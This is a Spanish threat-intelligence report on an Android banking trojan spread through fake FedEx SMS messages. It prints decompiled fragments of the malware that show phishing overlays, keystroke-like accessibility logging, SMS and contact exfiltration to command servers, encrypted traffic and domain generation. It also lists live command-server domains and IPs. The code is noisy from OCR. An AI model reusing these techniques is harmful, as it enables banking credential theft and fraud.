HISPASE=C
INFORME DE MALWARE

Campana Fedex
Banker

Direccion SERVICIO MALWARE
C/ Fiscal Luis Portero Garcia 7 '
29010 Malaga Autor:

Espafia R INENIENNENES

Teléfono/Fax. (+34) 952 020 494 Fecha:
Email. comercial@hispasec.com 2 Marzo 2021




Servicio Malware

HISPASE=C

en
& .2 m‘""‘n
& i
£ ”
3 §
Seguridad “roge £
s 'Yawos
Informacion
UNE-ISO/IEC 27001

www.hispasec.com — contacto@hispasec.com



Indice

Introduccion

Propagacion e Infeccion

Robo de datos bancarios

Otras funciones de robo de datos
Comunicacion con el servidor
Entidades afectadas
Conclusiones

Anexo: 10Cs

12
14
20
20

22

www.hispasec.com — contacto@hispasec.com



Introduccion

Durante el mes de febrero se han detectado varias campafias cuyo objetivo final es la instalacion
de un troyano bancario en los dispositivos méviles con Android de sus victimas. Este troyano, en
base a los analisis que hemos realizado sobre las muestras, se trata de un nuevo banker para
Android, y ya son tres los nuevos troyanos bancarios que han aparecido en este principio de 2021

(Toddler, Oscorp y este).

@ MalwareHunterTeam

Didn't tweeted any "fedex.apk" samples (from the
Spain targeted campaign) in past days, so here is one:
88e4e1801fal518382ee8b6b6f4b5ce52b380ddee2904
4f360h8f90ec87d3099
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Todas las campaiias que se han realizado para distribuir el malware han utilizado una falsa pagina
web que se trata de una web de Fedex fraudulenta, que indica al usuario una serie de pasos para
instalar una supuesta aplicacién que le permitira rastrear sus paquetes. Aunque en realidad la
aplicacion implementa un troyano bancario que afecta principalmente a entidades bancarias

espafolasy a algunas aplicaciones wallet de criptomonedas.

Con respecto al resto de familias de malware bancario para Android, este nuevo banker no destaca
en las estrategias de robo, que siguen siendo las mismas utilizadas por el resto de familias (abuso
de permisos de accesibilidad para registrar eventos y mostrar inyecciones de phishing), aunque si
que destaca en cuanto a su campafia de distribucion, que como ya hemos indicado aprovecha a la
empresa de paqueteria FedEx para propagar el troyano. También destaca en su protocolo de
comunicacién con el servidor de control, para el que utiliza el protocolo HTTP pero afiadiendo una

capa extra de cifrado en la que utiliza algoritmos de cifrado simétrico y asimétrico.

Aunque sin duda, el principal aspecto en el que destaca frente al resto de familias de malware
bancario para Android es en el uso de un algoritmo de generacién de dominios (Domain
Generation Algorithm; DGA), que le permite generar 2000 dominios diferentes cada mes, y a los
que intenta conectar para determinar cual de ellos es el que debe utilizar para el envio de datos y

recepcion de comandos.

En el presente informe se va a profundizar en los aspectos técnicos de este nuevo troyano,
incluyendo las técnicas utilizadas por los atacantes para llevar a cabo la distribucion de este, la
funcionalidad implementadas por el malware para robar credenciales bancarias y otro tipo de

informacion sensible, y su protocolo de comunicacidn con el servidor de control.

Propagacion e Infeccion

En cuanto a la propagacion y distribucion de este troyano, como ya se ha introducido
anteriormente, los atacantes aprovechan a la empresa de paqueteria FedEx como ‘gancho’ para
que sus victimas acaben instalando el malware. Las victimas reciben un SMS en el que se les indica
que su paquete llegara pronto, junto a un enlace en el que podria rastrear el paquete, tal y como

ocurria en un caso real.
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FedEx: Tu envio esta por
llegar, rastrealo aqui: https:
//carlomansystems.com

[fedex/

SMSrecibido por la victima con el enlace fraudulento (Fuente: Daniel Lopez)

Una vez que la victima accede al enlace del SMS, ésta accede a una pagina web fraudulenta que se
hace pasar por FedEx. Tal y como podemos apreciar en la siguiente imagen, la victima se
encuentra con una pagina en la que se le proporcionan una serie de pasos para descargar e instalar
una supuesta aplicacion que le permitira rastrear su paquete. Sin embargo, esta aplicacion es en
realidad el banker, que una vez instalado seguira una serie de pasos, como son la recopilacion de
informacion del dispositivo y la preparacion para robar las credenciales bancarias o las

criptomonedas de la victima, en caso de que utilice alguna de las aplicaciones de wallet afectadas.
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paquete

Descargar aplicacion

#€omo |g instalo?

. Cuando descargamos un archivo

.apk, sera la aplicacién desde la que
lo hagamos la que nos advertira que
esta blogueado el proceso.

. En la zona inferior de la pantalla

veremos un aviso indicando que "no
se pueden instalar aplicaciones de
origenes desconocidos” y nos invita
a entrar en los "Ajustes”.

. Dentro de la aplicacion buscamos el

apartadc "Instalar aplicaciones
desconocidas” y activamos la casilla.

. Desde ese momento, esa aplicacion

cuenta con permisos a la hora de
instalar aplicaciones externas.

Descargue nuestra aplicacion para rastrear su

Pagina web fraudulenta utilizada en la campafia para la distribucion del malware (Fuente: Daniel Lopez)

Desde el mismo momento en que la aplicacion finaliza la instalacién, ésta solicita permisos de

accesibilidad, algo habitual en todas las familias de malware bancario para Android. Como

veremos en la siguiente seccion, estos permisos se utilizan para recopilar los eventos de

accesibilidad que se producen en el dispositivo infectado. Esto permite principalmente detectar

cuando se abre alguna de las aplicaciones afectadas, pudiendo asi mostrar una ventana con el

formulario de phishing para robar las credenciales.
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e @ 12:21

Accion requerida

Para instalar debe activar el servicio de accesibilidad para "FedEx".
Haga clic en "Aceptar” para ir a la configuracion y luego desplacese
hasta encontrar "FedEx" y haga clic para activar el servicio de
accesibilidad.

Si no lo encuentra, haga clic en "Servicios descargados / instalados" y

luego haga clic en "FedEx".

Mensaje que informa a la victima de que es necesario proporcionar permisos de accesibilidad

Una vez que se han proporcionado los permisos de accesibilidad, el troyano comienza la
comunicacién con el servidor de control, aunque antes de eso necesita generar los 2000 dominios
que puede utilizar durante el mes actual e ir uno a uno comprobando cual de ellos ha sido
registrado y apunta a un servidor de control activo. Durante nuestro analisis hemos podido ver que
uno de los primeros comandos que recibe el troyano para ejecutar es el de recopilacion de
contactos, que probablemente se utilice para afiadir nuevos nimeros de teléfono en la base de
datos de los atacantes para enviar nuevos SMS a nuevas posibles victimas. Aunque, al parecer, los
propios dispositivos infectados podrian haber sido utilizados para llevar a cabo el envio de los SMS

fraudulentos a la lista de contactos.

Robo de datos bancarios

Tal y como se ha introducido anteriormente, este troyano esta pensado principalmente para robar
las credenciales bancarias de sus victimas, en el caso de que éstas utilicen alguna de las
aplicaciones bancarias afectadas, o en caso de que utilicen alguna de las aplicaciones cartera de

criptomonedas afectadas.
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La estrategia de robo de credenciales no es nueva, y se basa en la ya clasica estrategia de robo a
través de inyecciones de phishing (overlays) que se muestran tan pronto como se detecta la
apertura de la aplicacion afectada. De esta forma, al mostrar el phishing al usuario no le parece
extrafio, ya que acaba de abrir la aplicacion de su entidad bancaria, que parece que le esta
solicitando las credenciales para acceder a su cuenta. De esta forma, una vez se recibe algun
evento de accesibilidad relativo a la app afectada, este abre una nueva actividad de Android con

una vista web (WebView) en la que cargar el phishing.

/* *
pSvVar5 = Deobfuscator$app$Release.getString(-0x1d942d834301);
pSVarl3 = pSVarl3.append{pSVars};
pSVars = pSVarl3.toString();
bVarl = ref.getBoolean(pSvars, false);
pBVarlt = Boolean.valueDf(bVarl);
bVarl = pBVarlo.booleanValuel();
if (bvarl == false) {
J* show injection */

pIvVarl7 = new Intent(this,BrowserActivity);
pIvVarl7.setFlags(0x10010000);
f*a *

nsVars = Deobfuscator$app$Release.getString(-0x1d952d834301);
pIVarl7.putExtra(psvars,pSvard);
this.startActivity(pIvarl?);

Cédigo que inicia BrowserActivity para mostrar la inyeccidn de phishing
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vold onCreate(Activity this,Bundle pl)

{

}

String pSvarl;

Intent ref;

View ref_00;
WebSettings ref_01;
Object ref 02;
WebChromeClient ref 03;
WebView pWWarz;

super.onCreate(pl)

this. requestWindowFeature(l);

this.setContentView(0x7f0b001c);
/M

HISPASE=C

pSvarl = Deobfuscator$app$Release.getString(-0x2622d834301);

Utils.SetActivityTitleIcon(this,psvarl);

ref = this.getIntent()
/*a*

pSvarl
psvarl = ref.getsStringeExtra(psvarl);
BrowserActivity.packageName = pSvarl;

ref 00 = this.findViewById(0x7T08013b);
checkCast(ref 00,WebView);

this.webView = ref_00;

ref 01 = ref_00.getSettings();

setJavaScriptEnabled(true);
= this.webView;

02 = new Object(this};

/* Android */

? = this.webView;

03 = new WebChromeClient(};
setWebChromeClient (ret _03);
this.LoadHtml()

return;

Deobfuscator$app$Release.getString(-0x2632d834301);

= Deobfuscator$app$Release.getString(-0x2652d834301);
2.addJavascriptInterface(ref 02,psvarl);

Cédigo de BrowserActivity que recibe el Intent, obtiene el pardmetro ‘a’ y carga el phishing indicado en dicho pardmetro

Las inyecciones de phishing se obtienen desde el servidor de control durante los primeros

intercambios de informacion, en los que el troyano envia la lista de aplicaciones instaladas, y el

servidor de control responde con el subconjunto de apps afectadas. Posteriormente, el troyano

realiza varias peticiones para descargar una por una las inyecciones (el cédigo HTML) de cada

entidad afectada. Este cddigo se almacena en la memoria de la aplicacion para ser utilizado

cuando se muestra la WebView al abrir una de las aplicaciones afectadas. Como podemos apreciar

en la siguiente imagen, la funcidon LoadHtml se encarga de obtener el codigo de la inyeccion de

memoria y cargarlo en la WebView.

10
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void LoadHtml(int this)

{

WebView ref;

arl = Bot.GetInject(BrowserActivity.packageName);

if (psvarl = null) {
this.finishAndRemoveTask();
return;

}

ref = this.webView;

/* text/html */
DeobfuscatorjappiRelease.getString(-0x26d2da34301) ;

o
%)
I}

/* UTF-8 */
ﬁ*”a 3= Denbfuscatnr$app$Release getStrlng{ Ox2772d834301) ;
lnadDataW1thBaseURL{||11 pSVarl,pSvar2,psVar3,null};
return,

Funcidn LoadHtml que carga el cddigo de la inyeccion a mostrar

Ademas del robo a través de inyecciones de phishing, este nuevo troyano incluye la estrategia de
robo a través del registro de los propios eventos de accesibilidad, algo que el pasado afio ya
comenzd a popularizar el banker Eventbot, y que con el paso del tiempo cada vez mas familias
estan incorporando dentro de su abanico de funcionalidades. Gracias a los eventos de
accesibilidad el troyano no solamente es capaz de obtener informacion sobre los toques que
realiza el usuario en la pantalla, sino que también recibe informacién sobre cambios que se
realizan en determinados elementos. En el caso de los campos de texto, el evento de accesibilidad
que recibe el malware incluye el identificador del campo y el texto, lo que permite al malware

registrar si se trata de un campo de usuario y contrasefia, y el contenido del propio campo.
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pSVarl3 = new StringBuilder();
P* get text of the TextField related to the Accessibility event */
this.GetAppTxt(pAvars,psvarl3);
pSvaré = MyAccessibilityService.lastAppTxt;
riz.toString();
bVz pSvare.equals(pSvars);
if (bvarl = false) {
/* %5,%5:%5,%5 ¥/
pSvars = Deobfuscator$app$Release.getString(-0x1d782d834301);
ppOVarld = new Object[4];
f* LO0G *f
pSVart = Deobfuscator$app$Release.getString(-0x1d842d834301);
ppOVarl4[@] = psSvarg;
/* BAL_GRABBER */
pSWart = Deobfuscatorf$app$Release.getString(-0x1d882d834301);

areG;

psVard;
pSvarl3.toString();

: pSvare;

pSvar5s = String.format(pSvars,ppOvarl4);
pBVarlt = Boolean.valueOf(true);
PanelReq.SendAsync (pSVars,pBvarlo};
psVars = psvarl3.tostring();
MyAccessibilityService.lastAppTxt = psSvars;

}

Cédigo encargado de registrar los eventos de accesibilidad y enviarlos al C2

Esta estrategia de robo a través del registro de eventos de accesibilidad y cambios en los campos
de texto, tiene como principal ventaja que la victima sospechara menos alin, ya que no se muestra
una actividad nueva, sino que se roba a partir de los campos de texto de la aplicacion legitima. Sin
embargo, la principal desventaja es que no es posible robar las credenciales si el usuario ya tenia
la aplicacion bancaria instalada y configurada, puesto que en ese caso la app no solicitara las
credenciales al usuario para iniciar sesion. Lo mas habitual es que el usuario ya tuviese la sesion

iniciada antes de que se instalase el malware, por lo que esta técnica por si sola no es muy efectiva.

Como hemos visto, las inyecciones de phishing se muestran al detectar la apertura de la aplicacion
bancaria afectada, sin embargo, como veremos mas adelante, el servidor de control puede enviar
comandos especificos para solicitar al troyano que muestre alguna de las inyecciones
descargadas. De esta forma, los operadores pueden forzar el robo de credenciales si lo consideran

oportuno.

www.hispasec.com — contacto@hispasec.com
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Otras funciones de robo de datos

Ademas del tipico robo de credenciales bancarias que implementa el malware bancario, es
habitual que este tipo de malware implemente otras funcionalidades que le permitan robar otro
tipo de datos, principalmente aquellos que pueden ser necesarios junto con las credenciales para

lograr el robo final del dinero.

En el caso de este nuevo troyano, se incluye funcionalidad que permite a los operadores obtener
los mensajes de texto recibidos. De esta forma, los mensajes de texto recibidos que contiene
codigos de un solo uso para autorizar transacciones o para autorizar el inicio de sesion en la
cuenta, pueden ser reenviados al servidor de control, donde los atacantes pueden finalmente
llevar a cabo el robo de dinero. En la siguiente imagen podemos observar como el troyano instala
un SmsReceiver de Android que recibe cada mensaje de texto que llega al dispositivo, lo procesay

lo reenvia al servidor de control.
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tTimeMillis();
ser.timeQutStart

SmsReceiver.timeQutStart

}
ref = p2.getExtras();

pSvar2 Deobfuscatc S tString(
1Var9
(ref

pSVar2 = Deobfuscator $Re e.getString(-®
povar3 = ref.
1Var9 ZEXT48(pQVar3);

'
'

checkCast (pOVar3, Object
ivarle = 0;
(ivarle < povar3.length) {
pbVarll = pOVar3[iVarl@];
checkCast(pbVarll, sbyte);
checkCast(pbVarll,sbyte);
ref 00 S1m createFromPdu(pbVarll);
pSvarl2 1gBuilder();

pSVar2 = Deobfusca $Release.getString(-0
pSvarl2 pSVarl2.a C

pSvar2 ‘ ayOriginatingAddress();
pSVar2 g();

pSVarl2 = pSVarl2.app

pSVar2 = Deobfuscat ele etString(-0
pSvarl2 pSVarl2.ap C

psSvar2

pSvVar2 t

pSvarl2 = pSvarl2.ap

pSvVar2 - pSvarl2.

bVarl = Bot.IsInt

Cbdigo que registra y envia al C2 los mensajes recibidos

Ademas de la recopilacion de SMS, también se envia la agenda completa de contactos, lo que en
primera instancia parece que podria estar utilizindose para enviar mensajes a los contactos de las

victimas para distribuir nuevas versiones de este troyano.
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void GetContactlListUpload(void)

{

boolean bvarl;

String psvarz;
ContentResolver ref;
Cursor ref_go;

int ivar3;

String pSvar4;
Boolean pBvars;
Context ref_01;
StringBuilder ref_02;

pSWar2 = Deobfuscator$app$Release.getString(-0xlca2dg834301);

ref_02 = new StringBuilder(pSvar2);

ref_01 = Bot.context;

ref = ref_0l.getContentResolver();

ref_00 = ref.query{ContactsContract$CommonDataKinds$Phone.CONTENT _URI,null,null,null,null};

ivar3 = ref _00.getCount();
if (ivars3 = 0) {

if {ref 00 !'= null) {

ref_00.close();

}

return;
}
while (bvarl = ref_00.moveToNext(), bvarl '= false) {

/* display_name */
psVar2 = Deobfuscator$app$Release.getString(-0x1d82d834301);

ivar3 = ref_00.getColumnIndex(pSvar2};
psVar2 = ref_00.getString(ivar3);
/* datal */

pSWar4 = Deobfuscator$app$Release.getString(-0x1e52d834301);
iVvar3 = ref_00.getColumnIndex(pSVard);
pSVar4 = ref_00.getString(ivar3);
ref_02.append(psvarz);
/*on
pSWar2 = Deobfuscator$app$Release.getString(-0xleb2d834301);
ref_62.append(psSvar2);
ref 02.append(pSvard);
FARY
psVar2 = Deobfuscator$app$Release.getString(-0xlee2d834301);
ref_02.append(pSvar2);
}
pSVar2 = ref_02.toString();
pBVars = Boolean.valueOf(true);
PanelReq.SendAsync (pSVar2,pBvars);
if (ref_00 !'= null) {
ref 00.close();

}

return:-

Envio de la agenda de contactos

En cuanto a funcionalidad de robo de informacidn esto seria todo, aunque el troyano implementa
funcionalidad adicional que le de aiin mas control a los atacantes, como: Realizacién de llamadas
USSD (de pago/suscripcidn), configurar proxy SOCKS en el dispositivo, desinstalar aplicaciones,

desactivar Google Play Protect y envio de SMS.

Comunicacion con el servidor
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Para terminar con la descripcion técnica de este nuevo troyano, debemos hablar de su protocolo
de comunicacion con el servidor de control, sobretodo si tenemos en cuenta que introduce ciertos

aspectos que no es tan habitual encontrar en este tipo de malware.

Se hace uso del protocolo HTTP para la comunicacion con el C2, sin embargo, se implementa
cifrado sencillo XOR, utilizado para cifrar el cuerpo del mensaje enviado y las respuestas recibidas.
Para cada peticion se genera una clave de 10 bytes aleatoria, que es utilizada para cifrar los datos

enviados y los datos recibidos por parte del servidor.

La parte realmente novedosa es el intercambio de esta clave, que se lleva a cabo cifrandola junto
con el identificador del bot (dispositivo infectado). Para cifrarla se hace uso de algoritmos
asimétrico RSA, y se incluye la clave publica del servidor de control en la propia aplicacion. De esta
forma, solamente el servidor de control deberia ser capaz de descifrar el mensaje, aunque en la
practica no es asi, puesto que el cifrado XOR es demasiado débil, y la primera parte del mensaje
cifrado es el comando que indica el tipo de mensaje, por lo que se puede realizar fuerza bruta con

todos los posibles comandos y obtener la clave original de cifrado.

String EncryptRSA(int p@)

{
String pS
byte[]
KeyFactory

Cipher re ;
KeySpec loc 11 _0;

*

MIIBIjANBgkghkiGOwOBAQEFAAOCAQBAMIIBCQKCAQEALIQ3YWOMEY cmMrUGB8b3LgUiuXdxFYm/eBxAR
0AHC/9dC8ceagwdvesSq]i3/9hTOMSZzTS/0s rY LITe+ZmmmZ rn0fbB+FXq3pCG8,/kMEUjvGxYOANTBGY LT
CTONd+jKVHH1YhPT55aAYSKOCOEACKoV+Tyy jReAtzC2xn4gl/tk100TK2/17ga0TuYLneGHRuklmM/B
VMvlg9st4LfeWYyntcX6RZLY7Usks7MWVhFOpzYLNO2b/FAPW] bgOPehZUgz8WGAUHF juAX99ce5nsY
mlUTITYypQXx3KIMBel r1Yr4vukkPMRggAbKacWvgDywkIuYOcbfz80m8a+8TVao jwIDAQAB

*/
1-1 = Deobfuscator$app$Release getsString(-0x21da2d834301);
4r2 = Base64.decode(ps

21 0 = new KeySpec(p
J* RSA “/

r1 = Deobfuscator$app$Rele e. getsString(-0x23632d834301);

KeyFactory getInstance 1);

r3 = .generatePublic(local _0);

/* RSA/ECB/PKCS1Padding */

rl = Deobfuscator$app$Release getString(-0x23672d834301);

0 = Cipher.getInstance(psVarl);

0.init(1,pPvar3);

2 = po.getBytes(StandardCharsets.UTF_8);

= Basg64.encodeToString(33%&“;,2}:
return psvarl;

}
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Cédigo que implementa el cifrado RSA asimétrico utilizando la clave publica del C2 hardcodeada

void Encrypt(int pO,int pl,int encryption_mode}

{
Object pOvarl;
int iv
byte
int i
int i ]
byte bvare;

pOvarl = pl.clone();
checkCast(povarl,sbyte);
ivar2 = o;

bVar3 = 0;

while (iVar2 < p@.le

jth) {

ivard4 = iVar2 % p0OVarl.length;

if ((ivard == 0) && (ivarz '=0}) {
ivars = 0;
while (1\

< pOvarl.length) {
bVare 3:
if (encryption_mode == @) {

bVare = ((byte[1}(pd + ivarz + -1))[0];

}
((bytell){povarl + ivars))[0] = ((byte[]l)(pOVarl + ivars))[e]l »~ bvare;
ivars = iVar5 + 1;
1
}
bvar3 = ((bytell)(pe + ivarz))[ol;
((bytell) (p0 + ivarz2))[0] = ((bytel[l)(pOvarl + ivar4))[0] ~ ((bytel[l)(p0 + ivar2))[0];
ivar2 = ivarz2 + 1;
}
return;

}

Algoritmo de cifrado XOR

Sin embargo, el uso de RSA si que permite verificar que el servidor de control esta realmente
controlado por el atacante y no por otra entidad (que haya configurado un servidor sinkhole), ya
que la respuesta del C2 debe contener al comienzo el identificador del bot seguido por la clave
XOR utilizada para cifrar la comunicacién, y esto es comprobado por el troyano cuando recibe la
respuesta. Sin la clave privada el servidor de control no puede obtener en ninglin momento el

identificador del bot, por lo que no puede enviarlo en la respuesta.
La peticidn realizada por el troyano se divide en dos lineas, la primera incluye el identificador del

bot y la clave de cifrado XOR (separados por comas), y la segunda linea incluye los datos que se

quieren enviar al servidor.
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. POST /poll.php HTTP/1.1|

> Content-Length: 358

: Content-Type: application/x-www-form-urlencoded
| Host: gmycw]lxmgongbg.ru

3 Connection: close BOTID‘XOR_KEY
i Accept-Encoding: gzip, deflate
,

T

J cnou/HVTONLNhngPNGW7 ] /38C] XYsYpb2bJ ] rpvUDYdFEWOEXPPADPEQ/ s2UaunmR13y61ux7KwEoIk+/PmFzDou+QFC
zZBECXS1CgT3/I1xTLeCulsqlKsSUSkOEAINULUGSD/t7mtTChzubAkbYYmN/ YeeuOntBItjIHAUtLEHZf1yK5cswiTO
uUMn52NHsR1nzE) AKm1/d6KeuGsak,/0g7UxU2Zuol JmFQOPaYTI8ZHE /V+508UB9Zmd1/xc3cXrPr/ndnw6lgSSyS)Lu
yCitcDW0ISZKkAhOWZrZN7ijmF6oXpBpHzIh f1kN292771xiGM6cdg] rlbiUHRIRw==

Aot — COMMAND

Ejemplo de peticion realizada por el troyano con el comando PREPING

El uso de cifrado asimétrico no introduce realmente una mayor seguridad de forma que una
entidad externa pueda descifrar los datos (al menos una vez que conoce el funcionamiento del
malware), sin embargo, si que impide el registro de una cantidad reducida de dominios de entre
los generados para actuar como sinkhole y forzar al troyano a ejecutar el comando de
desinstalacion, ya que no se tiene la clave privada para descifrar el header (la primera linea) que

contiene el BOTID.

Para la generacion de dominios se utiliza como semilla del generador de niimeros aleatorios el
mes y afio actual, y a partir de esa semilla se generan un maximo de 2000 dominios diferentes por
mes. Tal y como podemos apreciar en las siguiente imagenes, al generar cada dominio se
comprueba si este esta registrado y si al realizar la peticion con el comando PREPING éste responde
correctamente. En caso de que todo vaya bien, se utilizard dicho dominio para posteriores

comunicaciones.
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vold GetSeed(void)

{

Calendar pCVarl;
int ivar2;
int ivar3;
long 1Var4;

pcvarl = Calendar.getInstance();
/* year */

ivar? = ptvarl.get(1);

pcVvarl = Calendar.getInstance();
/* month */

ivar3a = pcvarl.get(2);

DGA.seed = (long}(ivar2 ~ iVar3);

1var4 = (long}(ivarz =~ ivar3} #* 2;

DGA.seed = 1Vard;

1vard = 1Vard * (ivVar2 ~ 1Var4);

DGA.seed = 1Var4;

Vard = 1var4 * (iVar3 =~ 1Var4);

DGA.seed = 1Vard;

DGA.seed = 1Vard * 1Vard;

DGA.seed = 1VWard * 1vard + 0x470;

return;

Generacion de la semilla en base al afio y mes

HIS~PAS=C
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HISPASE=C

DGA.GetSeed() ;

ref = Executors.newFixedThreadPool(@x32);
checkCast(ref, ThreadPoolExecutor);

ref_00 = new AtomicBoolean(false);

ref_01 = new AtomicReference();

ref_01.set(null};

02 = new Random(DGA.seed);

whlle (ivare < 2000) {

/**
2= Deobfuscator$app$Release getString(-0x43t2d834301);

7 = 0xf) {

new StringBuilder(};

.append (pSvar2);
nextInt(0x19);
append((short)ivard + 'a');

new StringBuilder();
Var3.append{psvar2);
/* .ru ¥/
bfuscator$app$Re1ease getString(-0x4402d834301);
SVar3.append(pSvar2);

if (ivare % 2 = 0) {
p new StrlngBuﬂder(}
SVar3.append(pSvar2);
J* .com */
Deobfuscator$app$Release getString(-0x4442d834301);
3.append(psvar2);
3.toString();

ne'wI StringBuiLder(}:
3.append(psvar2);
f'* cn */
Deobfuscatur$app$Release getString(-0x4492d834301);

) r

ref_03 = new Runnable(ref_01,pSVar2,ref_o@);
ref. submlt( ref_03);

ivaré = iVaré + 1;

Funcidn FindHost que genera y comprueba cada uno de los 2000 domin

ios

Como podemos observar, la comprobacién de dominios se implementa haciendo uso de multiples

hebras, por lo que la tarea de comprobacién de 2000 dominios que deberia llevar bastante tiempo

en realizarse, puede realizarse en menos tiempo gracias al uso de un pool de hebras que se

reparten el trabajo.

Por Gltimo, la lista de comandos que puede recibir el troyano para ejecutar diferentes acciones en

el dispositivo infectado es la siguiente:

- RETRY_INJECT: vuelve a intentar mostrar la inyeccion.

- GET_CONTACTS: solicita la recopilacion y envio de la agenda de contactos.

- SEND_SMS: solicita el envio del SMS indicado al nimero indicado.

20
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RELOAD_INJECTS: solicita al troyano que se vuelvan a descargar las inyecciones para las
aplicaciones afectadas.

DISABLE_PLAY_PROTECT: solicita la desactivacion de Google Play Protect.

RUN_USSD: solicita la realizacion de llamadas con coste adicional/suscripcion (USSD).
OPEN_URL: abre una URL indicada en la WebView utilizada para mostrar las inyecciones.
UPLOAD_SMS: solicita la recopilacion y envio de todos los SMS

SOCKS: solicita la configuracion de proxy SOCKS en el dispositivo.

UNINSTALL_APP: solicita la desinstalacion de la aplicacion indicada.

BLOCK_CARD: bloquea el dispositivo utilizando una inyeccién que solicita informacién

especifica de la tarjeta de crédito.

Entidades afectadas

La lista de entidades afectadas que hemos podido obtener es la siguiente:

net.inverline.bancosabadell.officelocator.android
piuk.blockchain.android

com.bankinter.launcher
net.inverline.bancosabadell.officelocator.activobank
com.bbva.bbvacontigo

com.coinbase.android

com.rsi

es.evobanco.bancamovil
com.grupocajamar.wefferent
com.tecnocom.cajalaboral
com.kutxabank.android

com.binance.dev

es.bancosantander.apps

es.cm.android

Conclusiones
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Durante este inicio de 2021 hemos visto nuevas familias de troyanos bancarios, como Toddler u
Oscorp, y a estas parece que se les une una nueva familia que ha hecho su aparicién este mes de
febrero. Este nuevo banker estd principalmente centrado en entidades bancarias y usuarios
espafioles, y ha estado utilizando como método de distribucion los mensajes de texto en nombre

de compaiiias de mensajeria.

A partir de estos SMS fraudulentos, los atacantes tratan de conseguir que la victima visiten el
enlace que se le proporciona y acabe instalando la falsa aplicacién para rastreo de paquetes. Una
vez que el usuario cae en el engafio e instala la aplicacion, ésta comienza a tomar control del
dispositivo, y pone en marcha las estrategias de robo de credenciales tipicas para robar las

credenciales de sus victimas.

Al igual que el resto de bankers de Android, abusa de los permisos de accesibilidad para instalar un
servicio de accesibilidad que recibe todos los eventos de accesibilidad que se producen en el
dispositivo con el uso del usuario. Gracias a esto, el troyano puede mostrar inyecciones de
phishing (overlays) tan pronto como se inicia la aplicacion afectada, reduciendo las sospechas del
usuario. Ademas, se recopilan los eventos de cambio en campos de texto, lo que permite el robo

de credenciales mas alla de las inyecciones web de phishing.

Junto a la funcionalidad de robo de credenciales, y de igual forma que suele ocurrir con otras
familias de malware bancario, también se incluye funcionalidad para robar otro tipo de
informacion que almacena el dispositivo, como los mensajes de texto o la lista de contactos, que
permiten al atacante llevar a cabo el robo final de dinero o la propagacion del malware a los

contactos de la victima.

Como elemento diferenciador ante el resto de familias que existen actualmente en el entorno del
malware bancario para Android, encontramos el uso de un algoritmo generador de nombres de
dominio (DGA), que permite al troyano seguir funcionando durante mucho mas tiempo,

complicando el cierre completo de la infraestructura del malware.

En lo que llevamos de 2021 ya hemos visto tres nuevas familias de malware bancario, lo que

podemos entender como un aviso ante lo que podria estar por venir en lo que queda de afio.
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Debemos seguir atentos a cualquier novedad relativa a estas nuevas familias y a las posibles

nuevas familias que aparezcan en el futuro.

Anexo: 10Cs

Hash de las muestras:

88e4e1801fa1518382ee8b6b6f4b5ce52b380ddee29044f360b8f90ec87d3099

Dominios, IPs y URLs:

hxxp://carlomansystems.com/fedex
hxxp://mwconsulting.co.za/fedex/
hxxp://crowd1tr.com/fedex/
hxxp://mkinstalacje.pl/fedex/
hxxp://mehp.com.br/fedex/
hxxp://212sennakliyat.com/fedex/

hxxp://esarengineering.com/fedex/

Dominios C2 generados registrados e IPs:

Febrero 2021:

ddeocyowmeaygbk[.]Jcom [193.38.55.28]
mhuwkbajtolskrh[.]ru [8.209.80.73]
gmycwjlxmgongbg[.]ru [8.209.80.73]

Marzo 2021:
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nfiuerwtftasnuk.com [51.254.172.105]
xjnwqdospderqtk.ru [46.173.218.93]
mbhpikampombehi.com [46.173.218.93]
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